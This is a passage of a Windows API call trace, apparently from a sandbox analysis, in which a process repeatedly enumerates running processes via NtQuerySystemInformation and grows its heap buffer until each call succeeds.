SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.511] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0207.511] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0207.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0207.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.512] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0207.512] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0207.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0207.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.513] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0207.513] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0207.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.514] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0207.514] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0207.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.515] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0207.515] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0207.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0207.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.516] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0207.516] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.517] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0207.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.517] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0207.517] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.518] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0207.518] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0207.518] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0207.682] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0207.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0207.682] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0207.682] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0207.683] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0207.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.683] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0207.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.683] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0207.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.683] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0207.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.683] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0207.683] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.684] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0207.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.684] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0207.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.684] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0207.684] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.685] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0207.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.685] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0207.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.685] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0207.685] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0207.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0207.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.686] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0207.686] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0207.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0207.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.687] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0207.687] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.688] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0207.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.688] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0207.688] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.689] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0207.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.689] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0207.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.689] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0207.689] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0207.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.690] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0207.690] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0207.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.691] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0207.691] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.692] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1e438) returned 0x2560048 [0207.692] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1e438, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0207.692] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0207.823] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0207.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0207.823] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0207.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0207.823] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0207.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.823] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0207.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.823] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0207.823] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0207.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0207.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0207.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.824] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0207.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0207.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0207.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0207.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.825] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0207.825] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.826] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0207.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.826] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0207.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.826] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x10240) returned 0x2560048 [0207.826] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x11264) returned 0x2560048 [0207.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x12288) returned 0x2560048 [0207.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.827] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x132ac) returned 0x2560048 [0207.827] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x142d0) returned 0x2560048 [0207.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x152f4) returned 0x2560048 [0207.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.828] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x16318) returned 0x2560048 [0207.828] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1733c) returned 0x2560048 [0207.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x18360) returned 0x2560048 [0207.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.829] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x19384) returned 0x2560048 [0207.829] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1a3a8) returned 0x2560048 [0207.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.830] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1b3cc) returned 0x2560048 [0207.830] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1c3f0) returned 0x2560048 [0207.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0207.831] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x1d414) returned 0x2560048 [0207.831] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0x0 [0207.831] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x8, Size=0x2) returned 0x6d88d8 [0208.143] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x6fd9e8, Size=0x2048) returned 0x71d9e8 [0208.143] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x71d9e8, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x71d9e8, ResultLength=0x0) returned 0xc0000004 [0208.144] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x71d9e8, Size=0x306c) returned 0x75d9e8 [0208.144] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x75d9e8, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x75d9e8, ResultLength=0x0) returned 0xc0000004 [0208.144] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x75d9e8, Size=0x4090) returned 0x79e9d0 [0208.144] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.144] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x50b4) returned 0x79e9d0 [0208.144] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.144] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x60d8) returned 0x79e9d0 [0208.144] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.144] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x70fc) returned 0x79e9d0 [0208.144] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x79e9d0, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x79e9d0, ResultLength=0x0) returned 0xc0000004 [0208.144] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x79e9d0, Size=0x8120) returned 0x2560048 [0208.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.145] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0x9144) returned 0x2560048 [0208.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.145] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xa168) returned 0x2560048 [0208.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.145] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xb18c) returned 0x2560048 [0208.145] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xc1b0) returned 0x2560048 [0208.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xd1d4) returned 0x2560048 [0208.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xe1f8) returned 0x2560048 [0208.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x2560048, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x2560048, ResultLength=0x0) returned 0xc0000004 [0208.146] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x8, Ptr=0x2560048, Size=0xf21c) returned 0x2560048 [0208.146] NtQuerySystemInformation (in: SystemInformationClass=0x5, 